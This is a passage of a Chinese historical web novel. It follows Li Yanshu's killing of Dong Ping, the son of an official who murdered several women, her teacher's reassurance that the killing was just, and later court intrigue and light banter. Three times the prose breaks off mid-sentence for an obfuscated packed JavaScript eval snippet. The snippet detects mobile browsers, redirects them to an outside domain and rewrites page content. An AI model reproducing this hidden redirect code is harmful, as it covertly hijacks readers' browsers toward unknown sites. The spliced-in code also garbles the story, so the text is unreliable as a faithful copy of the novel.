有时候安静比吵闹更可怕,董平没有听见动静了,心里正打鼓,喘息间门就被人一脚踹开了。 李砚书扫了一眼屋内,倒是布置得华丽,就连桌上吃剩下的东西里还有半盘子洗好的葡萄。李砚书将手放在桌边,下一刻,整张桌子被掀翻,同时也露出了下面蜷成一团瑟瑟发抖的董平。 董平被这一声巨响吓得魂飞魄散,当即朝李砚书磕头道:“好汉饶命啊,我有钱,你要多少钱,我都可以给你,只求你别杀我,我不想死啊!” “你不想死?”李砚书冷眼睨着他,“那些被你残忍杀害的姑娘们就想死吗?!” 董平倏地抬头,满脸惊恐,不可置信地道:“李……李晗!” 38. 刀落 说话间,刀身上的血顺着刀锋流下,汇成一点滴在董平额上。明明是很轻的一下,董平却被这一下吓得吱哇乱叫,滴下的血像是是熔浆一般,烫得他立刻跳起来,两只红肿的手胡乱往脸上擦。 李砚书只觉讽刺,手沾数条人命的人竟然也会怕血么? “你要做什么?”董平连滚带爬退到榻边,眼见无路可退,反而狠声道,“我爹可是京兆府尹,你要是杀了我,我爹一定不会放过你的!你是渭阳王之女又如何,到时候你依然要给我陪葬!” 李砚书用脚拨开横挡在地的酒盏,一步一步朝董平走近,却不开口回答他。 沉默让董平绷紧了身体,又往里面缩了缩。 “你要什么?你告诉我!”董平几近崩溃,没了方才的张牙舞爪,转而求饶道,“只要你不杀我,我什么都可以给你!我叫我爹给你爹送银子,送金子,你说啊!究竟要怎样你才能放过我!我们两家并无恩怨,只要你放了我,我就当今夜什么都没有发生,好不好——” 李砚书依旧不说话,缓缓提起刀。 “对不起!” 千钧一刻,董平闭上眼大声地喊,“你不就是想为那些小娘子要一个公道吗?我错了,我知道错了,我不该色欲熏心,我对不起她们,我是混蛋王八蛋,只要你别杀我,我给她们金子!” 刀柄握在掌心,像是随时就会砍下去。 见李砚书停下了,董平仿佛见到了生机,连忙接道:“我给她们家人金子,让她们家人后半辈子衣食无忧,我叫我爹给她们父兄官做,让他们平步青云。我去她们坟前磕头,给她们请罪!你看这样行吗?我一定痛改前非,今后好好做人,我错了,我真的知错了!” “而且杀了我也改变不了什么的,不是吗?”董平腿软到现在还没缓过劲来,只能仰着头继续道,“你放了我,明日过后这世上再也没有董平这人了。我会走得远远的,再也不回元安!” 这一夜似乎过得格外漫长。 董平忐忑地看着李砚书,盼着她能被自己说动。 只要她今夜放过自己,日后他就有的是办法将今日之辱千倍百倍地还回去! 李砚书道:“磕头请罪,封金拜银都是你应该做的,不是你拿来保命的理由。” “那你还想怎样!” 他已经低三下气到这种程度了,她还不满意,真当自己是高高在上、救世救难的女菩萨了? 董平也不装了,啐道:“不过几个刁民,死了就死了。我可是京兆府尹董大公子,能看上她们是她们的福气,给脸不要脸的东西!是她们寻死觅活地惹人厌烦,不是要死吗,本公子就遂了她们的意!李晗,叫你一声县主是看在你爹的面子上,真当自己能骑到我头上作威作福了!” “刁民?”李砚书冷笑了一声,一脸鄙薄地道,“像你这种废物,在渭阳时我都不屑亲自动手。你该庆幸这里是元安,否则你会被游街示众后再斩首示众。” “那还真是可惜了。”董平道,“这里不是渭阳,是元安城,天子脚下还轮不到你在这里做什么判官判人生死。我是杀了人,要审判我也该是大理寺,御史台,刑部来审,你一个小小的县主还没有这么大的权利来审判我一个三品大臣之子!你不是口口声声喊着公道吗?你今夜杀我,究竟是为公道还是为你一己之私啊,广明县主!” “刑部,”李砚书道,“刑部判词早已立下,你今日为何会在这里而不是在刑狱,其间苟且你我心知肚明。” “这就是元安!” 董平不知那来的力气,踉跄着起身,方才的怯弱仿若一息之间消失殆尽。他看着李砚书,呼吸急促地道,“国法,规则,那是给那些贱民制定的,只有他们才需要遵守规则!你以为把我抓紧大牢,再找两个什么所谓的人证就能判我死刑,就能给那些贱民报仇了?天真!渭阳才多大,小地方的清正廉洁算个屁!那些都是做给那些个贱民看的,不然他们怎么会死心塌地的相信朝廷,给朝廷办事呢。还乐呢,嘴里天真地喊着什么青天大老爷,做主?做什么主?能给他们做主的人早就死了!贱命之辈也妄想与我等平起平坐,可笑至极!” “这次若不是那帮酸掉牙的腐儒书生闹事,本公子连刑部都不会进!”说到这,董平陡然大笑起来,指着李砚书道,“县主,若不是你撺掇李融去敲登闻鼓,他也不会死。那种穷书生,无非是想当官,如果我爹许他一个官做,你猜他还舍不舍得去死……” 话音未落,一道寒光眨眼而过。 董平瞳孔倏地缩小,甚至来不及反应,手指抬起的须臾人就直挺挺地倒了下去。 李砚书漠然回身,道:“既然规则救不了她们,那它同样救不了你。” 滚烫的鲜血从颈处泊泊流出,迅速染红了底下价值不菲的毯子,鲜红得似一片糜烂绽放的海棠花。 宁院的烛火今夜燃得格外漫长。 第二日是个晴天,武霜一早来找李砚书。 李砚书跟白鹤行正在用早膳,门户大开着,像是知道武霜会来。 武霜提步进来,问:“怎地现在才用膳?” 李砚书放下勺子,给武霜倒了杯茶,道:“昨夜温习功课入迷,忘了时辰。” 武霜觉着稀奇,道:“你这般好学呢?” 说完,她好似闻着了一抹极淡的檀香,像寺庙里点的那种。只是香味转瞬即逝,李砚书又适时开口,被一打断她就没再想了。 “是啊,”李砚书低着头喝粥,温声道,“殿下可别瞧不起人。” 武霜瞧着不对劲,但又说不出来哪不对劲,还以为她们昨夜真挑灯夜读了,便语重心长地对她们道:“用功读书是好事,只是也要注意时辰。” 李砚书看她一眼,道:“总觉得这句话从你口中说出来怪怪的。” 像家中长辈或者学院夫子才会说的话。 武霜也这么想,但面上还是得维持住,因此瞪了李砚书一眼,便起身道:“不等你们了,晚些靶场见。” 白鹤行起身揖礼。 李砚书敷衍地摆手,道:“殿下慢走。” 白鹤行缓身坐下,道:“末时老师要见你。” “嗯,”李砚书喝着粥,“有件事昨夜忘了问你,李融和花笙为何会去敲登闻鼓?” 起先她是叫骨衣瞅准时机带他们去大理寺报案,因为董家的手暂时还伸不到大理寺,此案才有可能沉冤得雪。可事发突然,她没想到李融竟然会去敲响登闻鼓,而后又血溅公堂,继而此事闹得满城风雨。 李砚书那一日从宫里出来,第一个想到的就是元鸿今。这一局她谋划已久,必然没有坐以待毙的道理。 白鹤行深深地看了她一眼,道:“此事我与老师事先并不知情。” 李砚书也看着她。 无声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521334|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻后,李砚书笑了起来,手上搅着碗里的粥,道:“我信你。” “你不信我,”白鹤行默了许久,才道,“正如你从未信过老师一般。李晗,你的心还在渭阳。” 李砚书微怔。 这是白鹤行第一次唤她的名字。 她道:“从唐家之事到今日董平之事,表面看似毫无关系,实则又与朝局变化息息相关。你因故受困元安,本是折翼之鸟,且不说韬光养晦,审时度势,就是明哲保身,和光同尘你都没有做到。” “明哲保身?”李砚书胸腔内一股无名火暴涨,恼道,“我为何要明哲保身,那种人难道不该死吗?” 白鹤行道:“该死之人千千万,你每个都要杀?” 李砚书猛地起身,道:“他们不该杀吗?” 白鹤行端坐着,微仰着脸看向李砚书,与她对视着,没说话。 顷刻间回忆浮现,抚仙楼前铿锵有力的话语犹在耳畔。清晨的光从窗柩打进来,李砚书负光而立,霎时无处遁形。 两人在尘埃微粒的裹挟里静默良久。 “你说得对,”李砚书缓缓笑起来,只是声音带着掩不住的颓败,自嘲地道,“我的心还在渭阳。” 她是在渭水河畔边长大的孩子,她的心一直在渭阳。初次离家的那点亢奋早已在抵达元安时消失殆尽,只剩下绵延无尽的思念。羁鸟恋旧林,李砚书无数次望着渭阳的方向,那里有她最想见的人。可她不能,她被困在元安这座豪华的笼子里,连伸出翅膀扑腾一下都会引来嘲笑,笑她愚蠢,笑她天真。 “可我有什么错!”李砚书陡然逼近白鹤行,问她,“我有什么错?我不过是想救人。从我踏出渭阳的那天起就被你们所有人算计,我走的每一步,见到的每一个人都是被你们安排好的。你们有问过我吗?问过我愿意被你们像傻子一样玩弄于股掌之间吗?” “为什么不能给她们一个公道?”李砚书眼里全是血丝,一把攥住白鹤行的手,失控道,“为什么明知李融有冤还能视而不见?为什么杀了人的人还可以有恃无恐?你告诉我为什么?” “因为这里是元安。”白鹤行任由她拉着自己,平静道。 “什么?” 李砚书眼里露出迷茫,像是找不着路的稚子。 白鹤行缓缓起身,看着她的眼睛道:“物有本末,事有终始。知所先后,则近道矣。【1】这是元安的生存之道,非一朝一夕可改,非一人一令可变。洪流沉疴已久,众人皆醉若有一人独醒,那人便是众矢之的。举世浑浊若有一人独清,那人便是异类。” “异类。”李砚书重复着这个词,眼帘慢慢低垂下去。 “君子诚以始终,方能成就万物。”白鹤行抬起被李砚书抓住的那只手,见人重新抬起眼看向自己,接道,“同流合污即使能成一方城池,却终究狭隘其身。那日你说你明白你心中想要的是什么,既然明白,又何必遵循别人的道,走别人的路。” 李砚书抬眼望着她,眼底埋着执拗,道:“我只是想要一个公道。” “我信你。” 白鹤行语气明明平静地不能再平静了,可李砚书一听就红了眼眶。 眼底竖起的堡垒轰然倒塌,来不及藏起的情绪如瀑布悬泄,汹涌激烈。李砚书蓦地抱住白鹤行,闭上了眼。 白鹤行身形一怔,顿一会儿后,抬手拍了拍她的背。 39. 老师 李砚书如坠噩梦。 她告诉自己她没错。只是一个该死之人罢了,她本不该为其所困,但是她控制不住自己。那夜浓稠的血腥味如蛆附骨,李砚书忘不掉,只能在其间挣扎喘息,越陷越深。 白鹤行道:“你一直明白自己想要的是什么,只是还不清晰你所走的道究竟为何。” 李砚书静了片刻,放开白鹤行,看着她道:“为何?” “志士仁人,无求生以害仁,有杀身以成仁。【1】”白鹤行道,“大宗百世不迁,小宗五世而迁。士大夫高喊为国为民,然都是尸位素餐,蝇营狗苟之辈。人曰女子弱不禁风,粥粥无能,然说出为自己而活的是女子,跋涉千里寻友的是女子,孤身救人的也是女子。手染鲜血不算什么,别让鲜血沾了眼睛才是要紧。之前我不赞成你去,是因为你的眼睛太干净了。人命何其重,你还担不下。” “可你说善恶有报,杀人偿命。”说到这,白鹤行再次看向李砚书,面上带着一丝笑意,似安抚,又似肯定。 “我被你说动了。倘若因果循环善恶无报,那我这些年所求的又是什么呢?老师救我出掖庭宫,授我礼义廉耻,史书公理,教我立身处世,谋以后路。她以女子之身开先河,为我等后辈铺良路,她所教的不是我一人,而是天下所有女子。十岁那年,老师替我拟表字子行,对我说与子偕行,风雨同舟。从那天起,我便将自己当成老师手中的一柄剑,剑锋所指之处,便是我毕生为之奋斗所向。董平已死,却不是因你而死,而是他自作自受,天命如此,他必死!你看着我,他的血不再是你的梦魇,而是你持剑问心的勋章。你没有错,错的是他们。” 白鹤行的眼眸依旧凛若秋霜,但李砚书在那里面窥见了自己。 没有猩红,没有狰狞,只余平静。 少顷后,李砚书道:“我……没有错。” 武霜终于等到李砚书,隔老远就开始招手,兴奋道:“快看,我射中了!” 那是一个三等箭靶,上面赫然插着一支箭羽。 李砚书快步过去,一看还真是,夸道:“哇,好厉害!快来教教我,我等会要射二等靶了。” 武霜被她这么一奉承,还有什么不能教的,立刻笑道:“好说好说,来,看我给你演示一遍。” 白鹤行垂眸挑着弓,听着那边李砚书几句话就将武霜夸得心花怒放,那架势,恨不能将这二等靶亲自给人射了。 不远处杨乾陪着刘材在射四等箭靶,刘才握弓搭箭的姿势正确,只是手上力气小了些,每次都是挨着箭靶掉落,惹得旁边看热闹的人哈哈大笑。 杨乾余光看向李砚书那边,对刘材道:“你先射着,我去给你挑把适手的弓来。” 刘材感动道:“仲安,你今日对我真好。” 杨乾看他一脸感动,不知该说什么,屈起手指碰了碰鼻尖,转身离开。 这个时辰学生们都在练习射箭,弓案前只有白鹤行与杨乾两人,杨乾低声道:“董平死了。” 白鹤行神色未动,淡淡地嗯了声。 杨乾继续道:“董酺今日递了告假折子……” 武霜无意间往那边看了一眼,见是杨乾在挑弓,奇道:“杨乾?他怎么来了?” 李砚书闻言也看过去,道:“许是在帮刘材挑弓吧。” 恰逢不远处发出一阵哄笑,是刘材再次射偏箭靶。 武霜没多想,很快收回目光,兴致不减地道:“不管他们,我们继续。” 今日她兴致好,定要帮李砚书射中二等靶。 “殿下。”李砚书唤了她一声。 “嗯?”武霜随口应了声,正在全神贯注地替李砚书调整握弓手势。 武霜应了一声,半晌没听见人再出声,便稍微侧头看向李砚书,道:“你唤我又不作声。” 李砚书移开目光,转到箭羽上,轻声道:“一下忘了要说什么。” 武霜笑了,道:“你是不是紧张啊?我头回射二等靶的时候也紧张,你学我,深呼吸一下就好了,这还是二皇兄教我的呢。” 李砚书学着深呼吸,吐出几口浊气,顿时感觉轻松了不少。 “好多了,”李砚书手臂用力,“殿下,我要开始了。” 武霜退后一步,表情认真地重重一点头,道:“嗯!” 白鹤行不知何时来到两人身后,她没有出声,手里握着一张轻弓,静静地看着李砚书射箭。 李砚书的目光顺着箭矢的方向瞄去,却在下一刻闭上了眼。 二等靶这个距离换作平日里她都是一发击中,可今日她却觉得箭靶离格外遥远。她深知是因为什么,即便今日这靶就在她跟前,她也射不中。 倘若这就是元安—— 李砚书倏地睁眼,视线往上移了一寸,箭矢咻地射出,堪堪射中箭靶。 ——那错的就是元安。 “射中了!中了!” 武霜像是自己中靶一般,不停地道:“中了中了,砚书你中了!虽说不是红心,但也是射中了箭靶。” 李砚书呼出一口气,笑道:“可吓死我了,还以为会脱靶呢。” 武霜道:“你以前是不是练过呀?” 李砚书点头,“练过些时日,不过那时贪玩,总是躲懒。” 武霜果不其然地道:“原是如此,难怪你每次都能射中。这样也很好了,我要是如你一般,每次都能射中,早就去母后那里讨赏了。” 李砚书笑了笑,转身看向一旁的白鹤行,她瞄准的也是三等靶。 武霜顺着李砚书的视线看去,道:“阿行也在射三等靶。” 托李砚书的福,她现在也叫白鹤行阿行了。 李砚书没有出声,静静看着白鹤行。 刘材那边传来一阵哄笑,估计又是没有射中箭靶。远远地,杨乾朝她们这边看来,须臾,他又收回目光,抱着手从容地看着刘材再次搭箭瞄准。 末时,李砚书再次来到元鸿今院子前。 秋风扫落叶,先前浓绿茂密的竹林已经隐隐有颓落之势。 白鹤行在院门前停住,道:“进去吧,老师有些话要单独与你说。” 李砚书没说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521335|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,点头进去。 没过多久,李砚书折返回来,手里多了件氅衣。 “夜里风大,披着吧。” 白鹤行微怔,没说话。 李砚书微微挑眉,道:“要我替你披上吗?” “不必,”白鹤行伸手接过氅衣,“多谢。” 李砚书含笑看着她,道:“该是我谢你。” 白鹤行系氅衣的动作一顿,还没等她说话,李砚书已经转身进去了。 李砚书进去后,白鹤行立在竹影下好一会儿才转过身去。她面前是一眼望不到头的黑暗,四周是沙沙的风吹竹叶声,她立身其间仿若置身于千军万马之中。 但实际上,她的身前空无一人。 白鹤行的眸中闪过一丝惘然。 她从掖庭宫出来那日便发誓,她要为死去的族人报仇,一定要让那些人付出代价,得到他们应有的惩罚。 这个念头支撑着她走过一个又一个的黑夜。 她曾一度恨极自己的女子之身,倘若她是个男儿,这一切都会不一样,老师也不用为了她龟缩在这个小小的学院里。长公主要做什么她不能,也不想去评判。想要在元安立足,手上怎么可能干干净净。只要长公主能帮她达成目的,是好人还是坏人又有什么要紧。 也是在这里,在这片竹林下,老师告诉她,波云诡谲的朝堂从来不是独属于男子的朝堂。 可是朝堂不一直都是男子的朝堂吗? 元鸿今听见这话沉默了好久,才道:“‘牝鸡司晨,惟家之索。’我每每读到这句便会嗤笑以待,男子把持朝政就是天经地义,女子便不能干政,便连出入朝堂的机会都没有。女子无才便是德,用三从四德,就把女子一生的道德、行为、修养都给拘住。他们蒙住女子的双眼,说她们目光短浅;他们捂住女子的嘴唇,说她们狭隘无言;他们绑住女子的双脚,说她们蒙昧无知。他们可以三妻四妾,却要求女子从一始终,一个贞洁牌坊便圈住了多少女子的一生。子行,老师救你出掖庭宫,带你入学林院,本想让你学一技之长,夷余生无忧。” “可我见到你的第一眼便知道,你走不了这条坦途。” 元鸿今拉着她的手缓缓蹲下,在她们面前的是一颗刚刚冒头的竹笋,竹尖儿上还带着清晨的露珠。 “你的眼里有恨,你想要报仇。你替老师不忿,同时也在自责,觉得老师是因为你才被赶到这学林院来的。子行,其实不然,老师心中也有恨,我们都是凭恨活着的人,但是不能让恨蒙蔽了双眼。你看啊,老师的手掌就好比你心中的恨意,你就像是这颗小竹笋。” 元鸿今将手掌放在竹笋上方,在白鹤行怔愣的目光中慢慢往下压。 “恨的确可以促使我们前行,却也能摧毁我们。”元鸿今向下挤压的手放开,那颗生机勃勃的竹笋栽倒在地,“过犹不及。拔苗焉能助长,饭要一口一口地吃,路也要一步一步地走。子行,你要记住老师这句话,女子不比男子差,你永远不要自怨自艾、妄自菲薄。往事不堪回首,但前路乾坤未定,你今日之生,便是他们来日之死!” 40. 心解 白家见罔抄家之时白鹤行尚在襁褓,血潮与寒冷于她而言不过是从别人口中得知的前尘过往。那些离她其实是很遥远的,她什么都不记得。像是重新投过一次胎,白家的显焕已不复存在,这世间只剩下掖庭宫罪奴小五。 她当时连名字都没有,因着她是那年第五个进掖庭宫的孩子,老嬷嬷们便唤她小五。 掖庭宫九载,白鹤行早已忘了自己是谁。 她生来负罪。 元鸿今将她救出,拟名鹤行,告诉她,从今以后,她不再是掖庭宫罪奴小五,而是武明六年三元榜首,学林院掌事元鸿今的学生白鹤行。 而元鸿今教她的第一课为“礼”。 师生之礼,袍泽之礼,君臣之礼。 元鸿今将毕生所学倾囊相授,白鹤行统统接下。她像是一株干涸已久的树苗,天降甘霖,她便拼了命地吸收,日以继夜不觉疲惫。 很快,在纲常伦理,古来圣贤之中,白鹤行渐渐明白元鸿今传授她的究竟是什么。 元鸿今想要的从来不是简单的报仇,而是庙堂之上的权利角逐。谋国先以谋身,元鸿今选择收掖庭宫罪奴白鹤行为学生,顺势暂避学林院,隐忍成了她们的第一课。 “我早年间也去过渭阳。”元鸿今端坐窗下,旁边支了个小炉子,上面烧着热水,随着话音落下,水沸了。 “二十年了,”元鸿今往茶盏里缓缓注入热水,一层薄雾挡在她与李砚书中间,“也不知你师父如今是何模样。” 李砚书唇角微挑,道:“师父行事洒脱,肆意江湖,与学生初见时无甚分别。” “如此吗?”元鸿今放下茶壶,随后温声道,“也好。” “尝尝。”元鸿今伸掌道。 李砚书右手握拳轻扣小案,旋即双手端起茶盏抿了一口。 元鸿今看着她,道:“知道这是什么茶吗?” 盏中茶色泽艳丽,香气浓密,看着像是红茶,但是李砚书此刻不敢妄下定论。 李砚书想了片刻,诚实地摇头,道:“学生不知,还请先生赐教。” 元鸿今轻笑一声,转而道:“你倒是比以前稳重了不少。” 两人隔案相对,李砚书面上一滞,一时间没回这话。 元鸿今却道:“可这不是你。砚书,你师父第一次杀人时,可是比你现在要接受得快。” “师父她……” 李砚书放在膝上的十指微拢,突然也不知道自己要说什么。 “她吐了。”元鸿今唇角带着微不可察的笑意,道,“只是第二日她就调节好了。那时有许多人都想要她的命,她没有选择,她不杀人,就只能被人杀。” 李砚书眸中闪过一丝愕然。在她心里,她师父是世间最强的人,骤然听到有关师父从前的囧事,李砚书心里有一丝说不出别扭,但她很快反应过来,元鸿今这是在宽慰她。 元鸿今道:“世间没有天生的强者。天下绝大部分强者的成功三分靠运气,七分靠坚持。小时了了,大未必然。方仲永幼时闻名乡里,被人赞成神童,最后却泯然众人,为什么呢?” 李砚书随言思索。 “常言道君子论心不论迹,论迹无完人。”元鸿今道,“手上沾了血的就一定是坏人吗?手上没沾血的就一定是好人吗?吾觉不然。侠者游历江湖路见不平,杀一人是杀;将军浴血沙场保家卫国,杀千人是杀;帝王开疆拓土一统天下,杀万人也是杀。彼皆是非乎?砚书,若以刀下亡魂论英雄长短,委实偏颇了些,你说呢?” “学生谢先生指点。”李砚书朝元鸿今拱手道。 元鸿今端起茶盏,对李砚书微微一笑。她道:“这茶,只是最寻常的一种红茶罢了。” 李砚书喝茶的动作一顿,很快反应过来,起身揖礼道:“先生苦心,学生受教。” 元鸿今道:“谁为你取的字?” 李砚书复坐下,回道:“师父。” “砚书,”元鸿今道,“她为你取字砚书,却教你武学。你哥哥的字也是她取的吗?” 李砚书道:“是。兄长表字阿寅。” 元鸿今听后颔首,抬手饮茶,而后道:“三年前殷虚战事因何而起,你知晓吗?” “略有耳闻。”李砚书道,“据传是因为我朝商人途径殷虚时莫名失踪,几日后便在两国边境发现数十具武朝子民枭首尸身,场面骇人听闻。” 元鸿今看着她,道:“昔高祖于巨鹿举兵,一年内便平四海定五州。当时的殷虚太子便是现在的殷虚国国主,他在机缘巧合下救过先皇一命,这也是为什么武朝自建朝以来几乎连年征战,却从未攻打过殷虚的原因。然世事无常,十年前一场突如其来的瘟疫几乎折损了殷虚一半的国力,以致殷虚常年战败,无力抵挡。此次我朝出兵南下,原本可以在一年之内拿下殷虚,却因为有南敕相助,这场战才足足打了三年。” 殷虚与南敕相互守望,他们是互相忌惮的敌人,同时也是利益相惜的盟友。 李砚书心里一动,心想:“是又要起战事了吗?” 元鸿今道:“你师父与你提过南敕吗?” 李砚书道:“未曾提过。” 元鸿今道:“金川呢?” 李砚书神情一怔。 元鸿今一看便知,片刻后,道:“那你呢?你有想过去金川吗?” 李砚书听这话略微吃惊,但还是如实道:“想过。” 元鸿今一只手放在火炉上空,闻言看了她一眼。 李砚书便继续道:“之前一直在渭阳,便想着以后到处去看看,金川自然也不例外。” 元鸿今叹了口气,道:“礼记曰:‘不兴其艺,不能乐学。’你既学武艺,可想好以后?” 李砚书不假思索道:“从学林院结业算吗?” 元鸿今笑了,没了往日里的严肃,摇头道:“不算。” 那李砚书没想法了。 元鸿今道:“你可曾想过同你父兄一般建功立业?” “这倒是没有,”李砚书心里一紧,避重就轻道,“先生有所不知,学生跟着师父学武是为保护家人,保护朋友,况且学生只是略通些拳脚功夫,对兵法谋略等一概不知,闯荡江湖还行,若说领兵打战可就太过抬举学生了。” “看来你对你师父还是不太了解。”元鸿今添着茶,“若是她的徒弟都只是略通些皮毛的话,那这世间便无人敢说自己武艺精湛了。” 这句话说得随意,但从元鸿今嘴里说出来却莫名让人信服。 李砚书眼前一亮,道:“先生能与学生说说师父以前的事吗?” 元鸿今不慌不忙地道:“现在还不行,她既然选择不说,我也该尊重她的选择才是。不过你放心,等来日时机成熟,你师父定会将所有说于你听。” 话说到这,李砚书只能应下。 元鸿今道:“砚书,天下救一人的是大夫,救十人的是侠客,而救千人万人的是将军。君子九思,武者七德。七德兼施,方能止戈为武。你一身武艺,满腔热血,若是因困于元安而碌碌终身,才是遗憾。” 李砚书垂眸沉思,不知该如何回答。 “不急,”元鸿今道,“你可以慢慢想,毕竟短时间内你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521336|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也离不开元安。” 李砚书抬眼怔怔地看向元鸿今,不觉间呼吸都乱了半拍。 这就是元鸿今吗?这种离经叛道的事也能如此轻描淡写般地说出。李砚书心中万千思绪骤起,忽然想起师父说的那句——教她所不能教。 原来是指这个吗? 李砚书倏地起身,对元鸿今道:“天色已晚,学生告退。” 元鸿今亦起身,道:“更深露重,告诉子行,氅衣明日再还。” 李砚书道:“是。” 一出门,冷风便吹打在脸上,李砚书被冻得瑟缩了下,赶紧下阶去寻白鹤行。 李砚书原本以为白鹤行会在院内寻一个避风的地方等,不曾想她跨出院门了才看见立身冷风中的白鹤行。 她赶忙跑过去,道:“你怎么站在这等?不冷吗?” 李砚书一边说一边去拉白鹤行的手,手刚碰上,李砚书就被冰得倒吸一口凉气。 反观白鹤行像是没有感觉似的,道:“劳烦等我片刻。” 李砚书赶紧拉住她,道:“先生说了,氅衣明日再还。快走,再吹下去你明日定要染疾。” 这会儿的风好似变大了些,李砚书一说话风就往她嗓子眼里灌,又冷又干。她捂着嘴咳了两声,脚下生风似的,走得极快。 两人好不容易回到宁院,李砚书一进门就直奔炉子上的水壶,一摸,幸好还是热的。 李砚书倒了两杯热水出来,又往盆里倒了些热水,自己顾不上喝,抓起杯子就往白鹤行手里塞,让她快喝。 不知是不是在冷风里冻傻了,白鹤行还没有缓过神来,手上竟无动作。李砚书急得直接喂到她嘴边,白鹤行如梦初醒,忙要抬手制止,却来不及了,只能张嘴喝了几口。 “好点了吗?”李砚书担心地问。 白鹤行点点头,接过李砚书手里的杯子,又喝了一口。 见白鹤行喝了水,李砚书又拉着人走到水盆边,按着她的手泡在热水里。 “你是不是傻,外面那么冷,你还站在院外迎风吹!”李砚书捧着水杯也喝了两口,顿时觉得喉咙好受许多,“实在不行你就进来啊,这么冷的天,哪就会有人刚好过来。” 白鹤行低垂着眼眸,泡在热水里面的手泛起了密密麻麻地痒意。 她哑声道:“……老师与你说了什么。” 李砚书搁下杯子,边褪外袍边道:“还能有什么……你那么聪明,你不妨猜猜。” 白鹤行沉吟片刻,眼睛始终望着底下的水面,好半晌,她才道:“老师与你说了三年前出兵殷虚的起因吗?” 李砚书卸下发簪,眼睛看着铜镜,头也不回地道:“正解。” 水有些凉了,白鹤行将手拿出擦拭干净,道:“那县主怎么想?” 李砚书装傻,道:“什么怎么想?” 白鹤行转身,平声道:“披袍擐甲。” 李砚书动作一顿,旋即起身看向白鹤行,目光凌厉地道:“若不是知晓你与先生为人,我都要以为这又是你们合谋好的了。” 白鹤行恍若未闻,只道:“你想吗?” 李砚书一笑,走向床榻,道:“照你这样说,我若说不想,便能不去做了么?” 白鹤行目光随着李砚书而移动,沉声道:“不能。” “这不就得了。”李砚书掀开被子,躺了进去,顿时舒服地喟叹一声,道,“既然不能,那还去想作甚。倒不如先美美地睡一觉,天塌下来都明日再说。阿行,快些吹蜡,我困了。” 白鹤行站在原地无声半晌,最终还是去熄了蜡。 41. 指婚 闹得沸沸扬扬的学子击鼓一事仿佛随着董平之死一同落幕,接下来一个月元安过得格外快,转眼就到了杪秋这日。 李砚书从宫里出来,素影与骨衣早早等在宫门口,一见到人便迎上去。 “小姐!” 素影喜道:“前两日夫人写给小姐的信到了!” 离家后李砚书才明白何为家书抵万金了。就这么一封书信,快则一月,慢则两月才能送到彼此手中,真真是让人望眼欲穿。 李砚书在马车上便迫不及待将信拆开,楚惟洋洋洒洒写了五张纸,无外乎是叫她保重身体,天凉了要记得添衣之类的,最后两句才回了李砚书先前信里问的事。 “蓬莱暂无消息传回,稍安勿躁。” 李砚书看完后,恋恋不舍地将信重新封好。 骨衣道:“小姐。” 李砚书低头弄着信封,听见这声,头也没抬地嗯了一声,等着下文。 骨衣踌躇着问:“小姐上回说的心悦之人,是谁啊?” 李砚书手上一顿,抬眼一瞧,发现两个人都在看着自己。 她说怎么阿娘通篇下来都不问自己心悦之人是谁呢,感情在这等着她呢。 “阿娘让你们问的吧,”李砚书继续装着手里的信封,“我原本也没打算瞒着她,直接问我不就行了吗,还跟我玩起声东击西了。” 素影听着不禁脸热,小声道:“小姐。” 李砚书知道素影脸皮薄,起了玩心,逗她道:“素影怎么脸红了呀?是不是也有心悦之人了?” “小姐!”素影脸轰得一热,原本常色的脸上立刻浮出两团红晕,她又羞又燥地道,“小姐说什么呢!” 李砚书逗弄人成功,憋不住笑出声来。 骨衣见怪不怪,却也还是被素影逗乐了,嘴角勾了起来。 素影反应过来李砚书是故意的,立刻将脸撇到一侧,重重哼了一声,以示生气。 “小姐错了,”李砚书收住笑,哄道,“阿影,好阿影,你不要生气了好不好?” 素影一如既往地好哄,不过片刻,她就道:“小姐下次不可开这样的玩笑了。” “好好好,”李砚书熟练地道,“小姐保证。” 骨衣默默挑帘看了眼窗外。 就知道会是这样。 素影性子软,耳根子也软,最受不得别人跟她说软话。这都多少回了,还是记吃不记打。 骨衣将话题拉回来,道:“小姐还没说那人是谁。” 李砚书卖了个关子,不疾不徐地道:“想知道啊?” 素影老实地点头,骨衣对上李砚书的目光,旋即也点了下头。 “我喜欢的人啊,”李砚书在两人的注视下比出一根食指,由左及右,道,“是全大武最好看的人。” 素影的目光随着那根手指移动,屏住呼吸,接道:“谁啊?” 李砚书微挑眉梢,双手抱胸道:“不是说了吗?全大武最好看的人啊。” 素影脸上的期待瞬间凝滞,哼了一声,“这不等于没说嘛!” “行了,不逗你们了。”李砚书拍了拍装好的信封,道,“你们凑近一些。” 